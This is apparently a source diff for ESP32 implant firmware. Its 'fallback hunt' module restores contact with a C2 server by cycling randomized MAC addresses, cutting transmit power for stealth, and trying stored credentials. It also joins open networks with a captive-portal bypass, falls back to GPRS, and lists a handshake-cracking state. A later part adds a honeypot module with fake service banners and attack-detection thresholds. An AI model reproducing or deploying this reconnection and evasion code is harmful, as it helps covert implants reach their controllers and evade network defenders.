};
esp_err_t err = esp_wifi_scan_start(&scan_cfg, true);
if (err != ESP_OK) {
ESP_LOGE(TAG, "WiFi scan failed: %s", esp_err_to_name(err));
return;
}
uint16_t ap_count = 0;
esp_wifi_scan_get_ap_num(&ap_count);
if (ap_count == 0) {
ESP_LOGW(TAG, "Scan: 0 APs found");
return;
}
if (ap_count > FB_MAX_CANDIDATES) ap_count = FB_MAX_CANDIDATES;
wifi_ap_record_t *records = malloc(ap_count * sizeof(wifi_ap_record_t));
if (!records) {
esp_wifi_clear_ap_list();
return;
}
esp_wifi_scan_get_ap_records(&ap_count, records);
for (int i = 0; i < ap_count; i++) {
fb_candidate_t *c = &s_candidates[s_candidate_count];
strncpy(c->ssid, (char *)records[i].ssid, sizeof(c->ssid) - 1);
c->ssid[sizeof(c->ssid) - 1] = '\0';
memcpy(c->bssid, records[i].bssid, 6);
c->rssi = records[i].rssi;
c->channel = records[i].primary;
c->authmode = records[i].authmode;
s_candidate_count++;
}
free(records);
ESP_LOGI(TAG, "Scan: %d APs found", s_candidate_count);
}
/* ============================================================
* Strategy 1: Try known networks (original WiFi + NVS)
* ============================================================ */
static bool try_known_networks(void)
{
set_state(FB_TRYING_KNOWN);
/* Try original WiFi config first (the one we were connected to) */
if (s_orig_config_saved && s_orig_wifi_config.sta.ssid[0]) {
ESP_LOGI(TAG, "Trying original WiFi: '%s'",
(char *)s_orig_wifi_config.sta.ssid);
#ifdef CONFIG_FB_STEALTH
fb_stealth_randomize_mac();
#endif
if (wifi_try_connect((char *)s_orig_wifi_config.sta.ssid,
(char *)s_orig_wifi_config.sta.password,
FB_WIFI_TIMEOUT_MS)) {
if (verify_c2_reachable()) {
mark_connected((char *)s_orig_wifi_config.sta.ssid, "original");
return true;
}
ESP_LOGW(TAG, "Original WiFi connected but C2 unreachable");
}
}
/* Then try NVS known networks */
fb_network_t nets[CONFIG_FB_MAX_KNOWN_NETWORKS];
int net_count = fb_config_net_list(nets, CONFIG_FB_MAX_KNOWN_NETWORKS);
if (net_count == 0) {
ESP_LOGI(TAG, "No additional known networks in NVS");
return false;
}
for (int n = 0; n < net_count; n++) {
ESP_LOGI(TAG, "Trying known: '%s'", nets[n].ssid);
#ifdef CONFIG_FB_STEALTH
fb_stealth_randomize_mac();
#endif
if (wifi_try_connect(nets[n].ssid, nets[n].pass, FB_WIFI_TIMEOUT_MS)) {
if (verify_c2_reachable()) {
mark_connected(nets[n].ssid, "known");
return true;
}
ESP_LOGW(TAG, "'%s' connected but C2 unreachable", nets[n].ssid);
}
}
return false;
}
/* ============================================================
* Strategy 2: Try open WiFi networks + captive portal bypass
* ============================================================ */
static bool try_open_networks(void)
{
set_state(FB_TRYING_OPEN);
for (int i = 0; i < s_candidate_count; i++) {
if (s_candidates[i].authmode != WIFI_AUTH_OPEN)
continue;
if (s_candidates[i].ssid[0] == '\0')
continue; /* hidden */
ESP_LOGI(TAG, "Trying open: '%s' (RSSI=%d)",
s_candidates[i].ssid, s_candidates[i].rssi);
#ifdef CONFIG_FB_STEALTH
fb_stealth_randomize_mac();
#endif
if (wifi_try_connect(s_candidates[i].ssid, "", FB_WIFI_TIMEOUT_MS)) {
/* Check for captive portal */
set_state(FB_PORTAL_CHECK);
fb_portal_status_t portal = fb_captive_detect();
if (portal == FB_PORTAL_NONE) {
if (verify_c2_reachable()) {
mark_connected(s_candidates[i].ssid, "open");
return true;
}
} else if (portal == FB_PORTAL_DETECTED) {
set_state(FB_PORTAL_BYPASS);
if (fb_captive_bypass()) {
if (verify_c2_reachable()) {
mark_connected(s_candidates[i].ssid, "open+portal");
return true;
}
}
ESP_LOGW(TAG, "Portal bypass failed for '%s'",
s_candidates[i].ssid);
} else {
/* FB_PORTAL_UNKNOWN — try C2 directly anyway */
if (verify_c2_reachable()) {
mark_connected(s_candidates[i].ssid, "open");
return true;
}
}
}
}
return false;
}
/* ============================================================
* Hunt task main state machine
* ============================================================ */
extern atomic_bool fb_active; /* defined in WiFi.c */
#ifdef CONFIG_NETWORK_WIFI
extern void wifi_pause_reconnect(void);
extern void wifi_resume_reconnect(void);
#endif
/* ============================================================
* WiFi lazy init (for GPRS primary mode)
* ============================================================ */
#ifdef CONFIG_FB_WIFI_FALLBACK
static bool s_wifi_inited = false;
static void ensure_wifi_init(void)
{
if (!s_wifi_inited) {
ESP_LOGI(TAG, "Lazy WiFi init for GPRS fallback");
extern void wifi_init(void);
wifi_init();
s_wifi_inited = true;
vTaskDelay(pdMS_TO_TICKS(2000));
}
}
#endif
/* ============================================================
* Strategy 3: GPRS direct (WiFi primary mode only)
* ============================================================ */
#ifdef CONFIG_FB_GPRS_FALLBACK
static bool try_gprs_direct(void)
{
if (s_skip_gprs) {
ESP_LOGI(TAG, "GPRS strategy skipped (came from GPRS)");
return false;
}
set_state(FB_GPRS_DIRECT);
ESP_LOGI(TAG, "Trying GPRS direct connection");
setup_uart();
setup_modem();
if (!connect_gprs() || !connect_tcp()) {
close_tcp_connection();
ESP_LOGW(TAG, "GPRS direct failed");
return false;
}
mark_connected("GPRS", "gprs");
/* Mini RX loop via GPRS — stays here until hunt is stopped */
while (s_active) {
gprs_rx_poll();
vTaskDelay(pdMS_TO_TICKS(10));
}
close_tcp_connection();
return false; /* Hunt was stopped externally */
}
#endif /* CONFIG_FB_GPRS_FALLBACK */
static void hunt_task(void *arg)
{
(void)arg;
ESP_LOGI(TAG, "Fallback hunt task started");
#ifdef CONFIG_FB_WIFI_FALLBACK
/* In GPRS mode, WiFi may not be initialized yet */
ensure_wifi_init();
#endif
/* Save MAC before we randomize it */
fb_stealth_save_original_mac();
fb_config_save_orig_mac();
/* Save original WiFi config */
if (!s_orig_config_saved) {
esp_wifi_get_config(WIFI_IF_STA, &s_orig_wifi_config);
s_orig_config_saved = true;
}
/* Take control of WiFi from normal reconnect logic */
fb_active = true;
#ifdef CONFIG_NETWORK_WIFI
wifi_pause_reconnect();
#endif
/* Register our event handler */
esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP,
&fb_wifi_event_handler, NULL);
esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
&fb_wifi_event_handler, NULL);
while (s_active) {
/* ---- STEALTH PREP ---- */
#ifdef CONFIG_FB_STEALTH
set_state(FB_STEALTH_PREP);
fb_stealth_randomize_mac();
fb_stealth_low_tx_power();
vTaskDelay(pdMS_TO_TICKS(100));
#endif
/* ---- SCAN ---- */
set_state(FB_PASSIVE_SCAN);
do_wifi_scan();
/* ---- STRATEGY 1: Known networks ---- */
if (s_active && try_known_networks()) break;
/* ---- STRATEGY 2: Open networks + captive portal ---- */
if (s_active && try_open_networks()) break;
#ifdef CONFIG_FB_GPRS_FALLBACK
/* ---- STRATEGY 3: GPRS direct (last resort) ---- */
if (s_active && try_gprs_direct()) break;
#endif
/* ---- All strategies failed — wait and rescan ---- */
if (!s_active) break;
ESP_LOGW(TAG, "All strategies exhausted — wait %ds and rescan",
FB_RESCAN_DELAY_S);
set_state(FB_IDLE);
for (int i = 0; i < FB_RESCAN_DELAY_S && s_active; i++) {
vTaskDelay(pdMS_TO_TICKS(1000));
}
}
/* ---- Cleanup ---- */
esp_event_handler_unregister(IP_EVENT, IP_EVENT_STA_GOT_IP,
&fb_wifi_event_handler);
esp_event_handler_unregister(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
&fb_wifi_event_handler);
if (s_state == FB_CONNECTED) {
#ifdef CONFIG_FB_STEALTH
fb_stealth_restore_tx_power();
#endif
fb_active = false;
#ifdef CONFIG_NETWORK_WIFI
wifi_resume_reconnect();
#endif
ESP_LOGI(TAG, "Hunt complete — handing off to client task");
} else {
/* Restore original WiFi config */
#ifdef CONFIG_FB_STEALTH
fb_stealth_restore_mac();
fb_stealth_restore_tx_power();
#endif
if (s_orig_config_saved) {
esp_wifi_set_config(WIFI_IF_STA, &s_orig_wifi_config);
}
fb_active = false;
#ifdef CONFIG_NETWORK_WIFI
wifi_resume_reconnect();
#endif
esp_wifi_connect();
ESP_LOGI(TAG, "Hunt stopped — restoring original WiFi");
}
s_task_handle = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
const char *fb_hunt_state_name(fb_state_t state)
{
if (state <= FB_CONNECTED)
return state_names[state];
return "unknown";
}
fb_state_t fb_hunt_get_state(void)
{
state_lock();
fb_state_t st = s_state;
state_unlock();
return st;
}
bool fb_hunt_is_active(void)
{
return s_active;
}
const char *fb_hunt_connected_ssid(void)
{
static char ssid_copy[33];
state_lock();
memcpy(ssid_copy, s_connected_ssid, sizeof(ssid_copy));
state_unlock();
return ssid_copy;
}
const char *fb_hunt_connected_method(void)
{
static char method_copy[16];
state_lock();
memcpy(method_copy, s_connected_method, sizeof(method_copy));
state_unlock();
return method_copy;
}
void fb_hunt_init(void)
{
if (!s_state_mutex) {
s_state_mutex = xSemaphoreCreateMutex();
}
if (!s_evt_group) {
s_evt_group = xEventGroupCreate();
}
ESP_LOGI(TAG, "Hunt init done");
}
void fb_hunt_set_skip_gprs(bool skip)
{
s_skip_gprs = skip;
}
void fb_hunt_trigger(void)
{
if (s_active) {
ESP_LOGW(TAG, "Hunt already active");
return;
}
/* Ensure init (safety net if called before register_commands) */
fb_hunt_init();
s_skip_gprs = false; /* Reset per-hunt */
s_active = true;
state_lock();
s_state = FB_IDLE;
s_connected_ssid[0] = '\0';
s_connected_method[0] = '\0';
state_unlock();
BaseType_t ret = xTaskCreatePinnedToCore(
hunt_task,
"fb_hunt",
FB_HUNT_STACK,
NULL,
FB_HUNT_PRIO,
&s_task_handle,
1 /* Core 1 */
);
if (ret != pdPASS) {
ESP_LOGE(TAG, "Failed to create hunt task");
s_active = false;
}
}
void fb_hunt_stop(void)
{
if (!s_active) return;
s_active = false;
for (int i = 0; i < 50 && s_task_handle != NULL; i++) {
vTaskDelay(pdMS_TO_TICKS(100));
}
/* Only reset state if task actually exited */
if (s_task_handle == NULL) {
state_lock();
s_state = FB_IDLE;
s_connected_ssid[0] = '\0';
s_connected_method[0] = '\0';
state_unlock();
} else {
ESP_LOGW(TAG, "Hunt task did not exit in time");
}
ESP_LOGI(TAG, "Hunt stopped");
}
#endif /* CONFIG_MODULE_FALLBACK */

View File

@ -0,0 +1,65 @@
/*
* fb_hunt.h
* Fallback hunt state machine autonomous network recovery.
*/
#pragma once
#include <stdbool.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================
* Hunt states
* ============================================================ */
typedef enum {
FB_IDLE,
FB_STEALTH_PREP,
FB_PASSIVE_SCAN,
FB_TRYING_KNOWN,
FB_TRYING_OPEN,
FB_PORTAL_CHECK,
FB_PORTAL_BYPASS,
FB_C2_VERIFY,
FB_HANDSHAKE_CRACK,
FB_GPRS_DIRECT,
FB_CONNECTED,
} fb_state_t;
/* ============================================================
* API
* ============================================================ */
/* Trigger the hunt (start the state machine task if not running).
* Called automatically by WiFi.c on TCP failure. */
void fb_hunt_trigger(void);
/* Stop the hunt, restore original WiFi + MAC + TX power. */
void fb_hunt_stop(void);
/* Get current state. */
fb_state_t fb_hunt_get_state(void);
/* Get state name as string. */
const char *fb_hunt_state_name(fb_state_t state);
/* Is the hunt task currently running? */
bool fb_hunt_is_active(void);
/* Get the SSID we connected to (empty if none). */
const char *fb_hunt_connected_ssid(void);
/* Get the method used to connect (e.g. "known", "open", "handshake", "gprs"). */
const char *fb_hunt_connected_method(void);
/* Init mutex and event group (call from register_commands). */
void fb_hunt_init(void);
/* Skip GPRS strategy in hunt (set by gprs_client_task to avoid loop). */
void fb_hunt_set_skip_gprs(bool skip);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,253 @@
/*
* fb_stealth.c
* OPSEC: MAC randomization, TX power control, passive scan.
*/
#include "sdkconfig.h"
#include "fb_stealth.h"
#ifdef CONFIG_MODULE_FALLBACK
#include <string.h>
#include "esp_log.h"
#include "esp_wifi.h"
#include "esp_random.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
static const char *TAG = "FB_STEALTH";
/* ============================================================
* MAC randomization
* ============================================================ */
static uint8_t s_orig_mac[6] = {0};
static bool s_mac_saved = false;
void fb_stealth_save_original_mac(void)
{
if (esp_wifi_get_mac(WIFI_IF_STA, s_orig_mac) == ESP_OK) {
s_mac_saved = true;
ESP_LOGI(TAG, "Original MAC: %02X:%02X:%02X:%02X:%02X:%02X",
s_orig_mac[0], s_orig_mac[1], s_orig_mac[2],
s_orig_mac[3], s_orig_mac[4], s_orig_mac[5]);
}
}
void fb_stealth_randomize_mac(void)
{
uint8_t mac[6];
esp_fill_random(mac, 6);
mac[0] &= 0xFE; /* unicast */
mac[0] |= 0x02; /* locally administered */
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(50));
esp_err_t err = esp_wifi_set_mac(WIFI_IF_STA, mac);
if (err == ESP_OK) {
ESP_LOGI(TAG, "MAC randomized: %02X:%02X:%02X:%02X:%02X:%02X",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
} else {
ESP_LOGW(TAG, "MAC set failed: %s", esp_err_to_name(err));
}
}
void fb_stealth_restore_mac(void)
{
if (s_mac_saved) {
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(50));
esp_wifi_set_mac(WIFI_IF_STA, s_orig_mac);
ESP_LOGI(TAG, "MAC restored: %02X:%02X:%02X:%02X:%02X:%02X",
s_orig_mac[0], s_orig_mac[1], s_orig_mac[2],
s_orig_mac[3], s_orig_mac[4], s_orig_mac[5]);
}
}
void fb_stealth_get_current_mac(uint8_t mac[6])
{
esp_wifi_get_mac(WIFI_IF_STA, mac);
}
/* ============================================================
* TX power control
* ============================================================ */
void fb_stealth_low_tx_power(void)
{
esp_err_t err = esp_wifi_set_max_tx_power(32); /* 8 dBm */
if (err == ESP_OK) {
ESP_LOGI(TAG, "TX power reduced to 8 dBm");
} else {
ESP_LOGW(TAG, "TX power set failed: %s", esp_err_to_name(err));
}
}
void fb_stealth_restore_tx_power(void)
{
esp_wifi_set_max_tx_power(80); /* 20 dBm */
ESP_LOGI(TAG, "TX power restored to 20 dBm");
}
/* ============================================================
* Passive scan promiscuous mode beacon capture
* ============================================================ */
typedef struct {
unsigned frame_ctrl:16;
unsigned duration_id:16;
uint8_t addr1[6];
uint8_t addr2[6];
uint8_t addr3[6];
unsigned seq_ctrl:16;
} __attribute__((packed)) wifi_mgmt_hdr_t;
#define BEACON_FIXED_LEN 12
static fb_scan_ap_t s_scan_results[FB_MAX_SCAN_APS];
static volatile int s_scan_count = 0;
static int find_bssid(const uint8_t bssid[6])
{
for (int i = 0; i < s_scan_count; i++) {
if (memcmp(s_scan_results[i].bssid, bssid, 6) == 0)
return i;
}
return -1;
}
static void passive_scan_cb(void *buf, wifi_promiscuous_pkt_type_t type)
{
if (type != WIFI_PKT_MGMT) return;
wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf;
wifi_mgmt_hdr_t *hdr = (wifi_mgmt_hdr_t *)pkt->payload;
uint16_t fc = hdr->frame_ctrl;
uint8_t subtype = (fc >> 4) & 0x0F;
if (subtype != 8 && subtype != 5) return; /* beacon or probe_resp */
const uint8_t *bssid = hdr->addr3;
int idx = find_bssid(bssid);
if (idx >= 0) {
if (pkt->rx_ctrl.rssi > s_scan_results[idx].rssi) {
s_scan_results[idx].rssi = pkt->rx_ctrl.rssi;
}
return;
}
if (s_scan_count >= FB_MAX_SCAN_APS) return;
size_t hdr_len = sizeof(wifi_mgmt_hdr_t);
size_t body_offset = hdr_len + BEACON_FIXED_LEN;
if ((int)pkt->rx_ctrl.sig_len < (int)(body_offset + 2))
return;
const uint8_t *body = pkt->payload + body_offset;
size_t body_len = pkt->rx_ctrl.sig_len - body_offset;
if (body_len > 4) body_len -= 4;
fb_scan_ap_t *ap = &s_scan_results[s_scan_count];
memset(ap, 0, sizeof(*ap));
memcpy(ap->bssid, bssid, 6);
ap->rssi = pkt->rx_ctrl.rssi;
ap->channel = pkt->rx_ctrl.channel;
ap->auth_mode = 0;
size_t pos = 0;
while (pos + 2 <= body_len) {
uint8_t tag_id = body[pos];
uint8_t tag_len = body[pos + 1];
if (pos + 2 + tag_len > body_len) break;
if (tag_id == 0) {
size_t ssid_len = tag_len;
if (ssid_len > 32) ssid_len = 32;
memcpy(ap->ssid, body + pos + 2, ssid_len);
ap->ssid[ssid_len] = '\0';
} else if (tag_id == 48) {
ap->auth_mode = 3;
} else if (tag_id == 221) {
if (tag_len >= 4 &&
body[pos + 2] == 0x00 && body[pos + 3] == 0x50 &&
body[pos + 4] == 0xF2 && body[pos + 5] == 0x01) {
if (ap->auth_mode == 0) ap->auth_mode = 2;
}
}
pos += 2 + tag_len;
}
s_scan_count++;
}
int fb_stealth_passive_scan(int duration_ms)
{
s_scan_count = 0;
memset(s_scan_results, 0, sizeof(s_scan_results));
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(100));
esp_err_t ret = esp_wifi_set_promiscuous_rx_cb(passive_scan_cb);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "Promiscuous CB failed: %s", esp_err_to_name(ret));
return 0;
}
wifi_promiscuous_filter_t filter = {
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT
};
esp_wifi_set_promiscuous_filter(&filter);
ret = esp_wifi_set_promiscuous(true);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "Promiscuous enable failed: %s", esp_err_to_name(ret));
return 0;
}
ESP_LOGI(TAG, "Passive scan started (%d ms)", duration_ms);
int channels = 13;
int hop_ms = 200;
int elapsed = 0;
while (elapsed < duration_ms) {
for (int ch = 1; ch <= channels && elapsed < duration_ms; ch++) {
esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE);
vTaskDelay(pdMS_TO_TICKS(hop_ms));
elapsed += hop_ms;
}
}
esp_wifi_set_promiscuous(false);
ESP_LOGI(TAG, "Passive scan done: %d unique APs", s_scan_count);
return s_scan_count;
}
int fb_stealth_get_scan_results(fb_scan_ap_t *out, int max_count)
{
int count = s_scan_count;
if (count > max_count) count = max_count;
memcpy(out, s_scan_results, count * sizeof(fb_scan_ap_t));
return count;
}
#else /* !CONFIG_MODULE_FALLBACK — empty stubs */
#include <string.h>
void fb_stealth_save_original_mac(void) {}
void fb_stealth_randomize_mac(void) {}
void fb_stealth_restore_mac(void) {}
void fb_stealth_get_current_mac(uint8_t mac[6]) { memset(mac, 0, 6); }
void fb_stealth_low_tx_power(void) {}
void fb_stealth_restore_tx_power(void) {}
int fb_stealth_passive_scan(int duration_ms) { (void)duration_ms; return 0; }
int fb_stealth_get_scan_results(fb_scan_ap_t *out, int max_count) { (void)out; (void)max_count; return 0; }
#endif /* CONFIG_MODULE_FALLBACK */

View File

@ -0,0 +1,37 @@
/*
* fb_stealth.h
* OPSEC: MAC randomization, TX power control, passive scanning.
*/
#pragma once
#include <stdbool.h>
#include <stdint.h>
#ifdef __cplusplus
extern "C" {
#endif
void fb_stealth_save_original_mac(void);
void fb_stealth_randomize_mac(void);
void fb_stealth_restore_mac(void);
void fb_stealth_get_current_mac(uint8_t mac[6]);
void fb_stealth_low_tx_power(void);
void fb_stealth_restore_tx_power(void);
int fb_stealth_passive_scan(int duration_ms);
typedef struct {
uint8_t bssid[6];
char ssid[33];
int8_t rssi;
uint8_t channel;
uint8_t auth_mode; /* 0=open, 1=WEP, 2=WPA, 3=WPA2, ... */
} fb_scan_ap_t;
#define FB_MAX_SCAN_APS 32
int fb_stealth_get_scan_results(fb_scan_ap_t *out, int max_count);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,6 @@
idf_component_register(
SRCS cmd_honeypot.c hp_config.c hp_tcp_services.c hp_wifi_monitor.c hp_net_monitor.c
services/svc_ssh.c services/svc_telnet.c services/svc_http.c services/svc_ftp.c
INCLUDE_DIRS . services
REQUIRES core nvs_flash lwip esp_wifi freertos
)

View File

@ -0,0 +1,308 @@
/*
* cmd_honeypot.c
* Honeypot command registration and dispatch.
* Compiled as empty when CONFIG_MODULE_HONEYPOT is not set.
*
* Commands (8 total, fits within 32-command budget):
* hp_svc <service> <start|stop|status>
* hp_wifi <start|stop|status>
* hp_net <start|stop|status>
* hp_config_set <type> <key> <value>
* hp_config_get <type> <key>
* hp_config_list [type]
* hp_config_reset
* hp_status
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include <stdio.h>
#include <string.h>
#include "esp_log.h"
#include "utils.h"
#include "hp_config.h"
#include "hp_tcp_services.h"
#include "hp_wifi_monitor.h"
#include "hp_net_monitor.h"
#define TAG "HONEYPOT"
/* ============================================================
* COMMAND: hp_svc <service> <start|stop|status>
* ============================================================ */
static esp_err_t cmd_hp_svc(
int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
const char *svc_name = argv[0];
const char *action = argv[1];
int id = hp_svc_name_to_id(svc_name);
if (id < 0) {
char buf[64];
snprintf(buf, sizeof(buf), "error=unknown_service service=%s", svc_name);
msg_error(TAG, buf, req);
return ESP_ERR_INVALID_ARG;
}
if (strcmp(action, "start") == 0) {
hp_svc_start((hp_svc_id_t)id);
char buf[64];
snprintf(buf, sizeof(buf), "service=%s action=started", svc_name);
msg_info(TAG, buf, req);
} else if (strcmp(action, "stop") == 0) {
hp_svc_stop((hp_svc_id_t)id);
char buf[64];
snprintf(buf, sizeof(buf), "service=%s action=stopped", svc_name);
msg_info(TAG, buf, req);
} else if (strcmp(action, "status") == 0) {
char buf[256];
hp_svc_status((hp_svc_id_t)id, buf, sizeof(buf));
msg_info(TAG, buf, req);
} else {
msg_error(TAG, "error=invalid_action expected=start|stop|status", req);
return ESP_ERR_INVALID_ARG;
}
return ESP_OK;
}
/* ============================================================
* COMMAND: hp_wifi <start|stop|status>
* ============================================================ */
static esp_err_t cmd_hp_wifi(
int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
const char *action = argv[0];
if (strcmp(action, "start") == 0) {
hp_wifi_monitor_start();
msg_info(TAG, "wifi_monitor=started", req);
} else if (strcmp(action, "stop") == 0) {
hp_wifi_monitor_stop();
msg_info(TAG, "wifi_monitor=stopped", req);
} else if (strcmp(action, "status") == 0) {
char buf[256];
hp_wifi_monitor_status(buf, sizeof(buf));
msg_info(TAG, buf, req);
} else {
msg_error(TAG, "error=invalid_action expected=start|stop|status", req);
return ESP_ERR_INVALID_ARG;
}
return ESP_OK;
}
/* ============================================================
* COMMAND: hp_net <start|stop|status>
* ============================================================ */
static esp_err_t cmd_hp_net(
int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
const char *action = argv[0];
if (strcmp(action, "start") == 0) {
hp_net_monitor_start();
msg_info(TAG, "net_monitor=started", req);
} else if (strcmp(action, "stop") == 0) {
hp_net_monitor_stop();
msg_info(TAG, "net_monitor=stopped", req);
} else if (strcmp(action, "status") == 0) {
char buf[256];
hp_net_monitor_status(buf, sizeof(buf));
msg_info(TAG, buf, req);
} else {
msg_error(TAG, "error=invalid_action expected=start|stop|status", req);
return ESP_ERR_INVALID_ARG;
}
return ESP_OK;
}
/* ============================================================
* COMMAND: hp_config_set <type> <key> <value>
* ============================================================ */
static esp_err_t cmd_hp_config_set(
int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
const char *type = argv[0];
const char *key = argv[1];
const char *value = argv[2];
esp_err_t err;
if (strcmp(type, "banner") == 0) {
err = hp_config_set_banner(key, value);
} else if (strcmp(type, "threshold") == 0) {
err = hp_config_set_threshold(key, atoi(value));
} else {
msg_error(TAG, "error=invalid_config_type expected=banner|threshold", req);
return ESP_ERR_INVALID_ARG;
}
if (err == ESP_OK) {
char buf[128];
snprintf(buf, sizeof(buf), "config_set=%s.%s value=%s", type, key, value);
msg_info(TAG, buf, req);
} else {
msg_error(TAG, "error=config_set_failed", req);
}
return err;
}
/* ============================================================
* COMMAND: hp_config_get <type> <key>
* ============================================================ */
static esp_err_t cmd_hp_config_get(
int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
const char *type = argv[0];
const char *key = argv[1];
char buf[256];
if (strcmp(type, "banner") == 0) {
char val[128];
hp_config_get_banner(key, val, sizeof(val));
/* Strip newlines for display */
for (char *p = val; *p; p++) {
if (*p == '\r' || *p == '\n') { *p = '\0'; break; }
}
snprintf(buf, sizeof(buf), "banner_%s=%s", key, val);
} else if (strcmp(type, "threshold") == 0) {
int val = hp_config_get_threshold(key);
snprintf(buf, sizeof(buf), "threshold_%s=%d", key, val);
} else {
msg_error(TAG, "error=invalid_config_type expected=banner|threshold", req);
return ESP_ERR_INVALID_ARG;
}
msg_info(TAG, buf, req);
return ESP_OK;
}
/* ============================================================
* COMMAND: hp_config_list [type]
* ============================================================ */
static esp_err_t cmd_hp_config_list(
int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
const char *filter = (argc > 0) ? argv[0] : "";
char buf[512];
hp_config_list(filter, buf, sizeof(buf));
msg_info(TAG, buf, req);
return ESP_OK;
}
/* ============================================================
* COMMAND: hp_config_reset
* ============================================================ */
static esp_err_t cmd_hp_config_reset(
int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
esp_err_t err = hp_config_reset_all();
if (err == ESP_OK)
msg_info(TAG, "config=reset_to_defaults", req);
else
msg_error(TAG, "error=config_reset_failed", req);
return err;
}
/* ============================================================
* COMMAND: hp_status
* ============================================================ */
static esp_err_t cmd_hp_status(
int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
char buf[512];
int off = 0;
/* Services */
for (int i = 0; i < HP_SVC_COUNT; i++) {
off += snprintf(buf + off, sizeof(buf) - off, "%s=%s ",
hp_svc_id_to_name((hp_svc_id_t)i),
hp_svc_running((hp_svc_id_t)i) ? "up" : "down");
}
/* Monitors */
off += snprintf(buf + off, sizeof(buf) - off, "wifi_mon=%s net_mon=%s",
hp_wifi_monitor_running() ? "up" : "down",
hp_net_monitor_running() ? "up" : "down");
msg_info(TAG, buf, req);
return ESP_OK;
}
/* ============================================================
* COMMAND: hp_start_all start all services + monitors
* ============================================================ */
static esp_err_t cmd_hp_start_all(
int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
for (int i = 0; i < HP_SVC_COUNT; i++)
hp_svc_start((hp_svc_id_t)i);
hp_wifi_monitor_start();
hp_net_monitor_start();
msg_info(TAG, "all=started", req);
return ESP_OK;
}
/* ============================================================
* COMMAND: hp_stop_all stop all services + monitors
* ============================================================ */
static esp_err_t cmd_hp_stop_all(
int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
for (int i = 0; i < HP_SVC_COUNT; i++)
hp_svc_stop((hp_svc_id_t)i);
hp_wifi_monitor_stop();
hp_net_monitor_stop();
msg_info(TAG, "all=stopped", req);
return ESP_OK;
}
/* ============================================================
* COMMAND REGISTRATION
* ============================================================ */
static const command_t hp_cmds[] = {
{ "hp_svc", NULL, "Service control", 2, 2, cmd_hp_svc, NULL, false },
{ "hp_wifi", NULL, "WiFi monitor", 1, 1, cmd_hp_wifi, NULL, false },
{ "hp_net", NULL, "Network monitor", 1, 1, cmd_hp_net, NULL, false },
{ "hp_config_set", NULL, "Set config", 3, 3, cmd_hp_config_set, NULL, false },
{ "hp_config_get", NULL, "Get config", 2, 2, cmd_hp_config_get, NULL, false },
{ "hp_config_list", NULL, "List config", 0, 1, cmd_hp_config_list, NULL, false },
{ "hp_config_reset", NULL, "Reset config", 0, 0, cmd_hp_config_reset, NULL, false },
{ "hp_status", NULL, "Honeypot status", 0, 0, cmd_hp_status, NULL, false },
{ "hp_start_all", NULL, "Start all services", 0, 0, cmd_hp_start_all, NULL, false },
{ "hp_stop_all", NULL, "Stop all services", 0, 0, cmd_hp_stop_all, NULL, false },
};
void mod_honeypot_register_commands(void)
{
ESPILON_LOGI_PURPLE(TAG, "Registering honeypot commands");
hp_config_init();
for (size_t i = 0; i < sizeof(hp_cmds) / sizeof(hp_cmds[0]); i++) {
command_register(&hp_cmds[i]);
}
}
#endif /* CONFIG_MODULE_HONEYPOT */

View File

@ -0,0 +1,8 @@
/*
* cmd_honeypot.h
* Honeypot module public API.
* Compiled as empty when CONFIG_MODULE_HONEYPOT is not set.
*/
#pragma once
void mod_honeypot_register_commands(void);

View File

@ -0,0 +1,204 @@
/*
* hp_config.c
* NVS-backed runtime configuration for honeypot services.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "esp_log.h"
#include "nvs_flash.h"
#include "nvs.h"
#include "hp_config.h"
#define TAG "HP_CFG"
#define NVS_NS "hp_cfg"
/* ============================================================
* Default banners
* ============================================================ */
static const struct {
const char *service;
const char *banner;
} default_banners[] = {
{ "ssh", "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6\r\n" },
{ "telnet", "\r\nUbuntu 22.04.3 LTS\r\nlogin: " },
{ "ftp", "220 ProFTPD 1.3.5e Server (Debian)\r\n" },
{ "http", "HTTP/1.1 200 OK\r\nServer: Apache/2.4.54 (Ubuntu)\r\n" },
};
#define NUM_BANNERS (sizeof(default_banners) / sizeof(default_banners[0]))
/* ============================================================
* Default thresholds
* ============================================================ */
static const struct {
const char *key;
int value;
} default_thresholds[] = {
{ "portscan", 5 },
{ "synflood", 50 },
{ "icmp", 10 },
{ "udpflood", 100 },
{ "arpflood", 50 },
{ "tarpit_ms", 2000 },
};
#define NUM_THRESHOLDS (sizeof(default_thresholds) / sizeof(default_thresholds[0]))
/* ============================================================
* Init
* ============================================================ */
void hp_config_init(void)
{
ESP_LOGI(TAG, "Config subsystem ready (NVS ns=%s)", NVS_NS);
}
/* ============================================================
* Banner helpers
* ============================================================ */
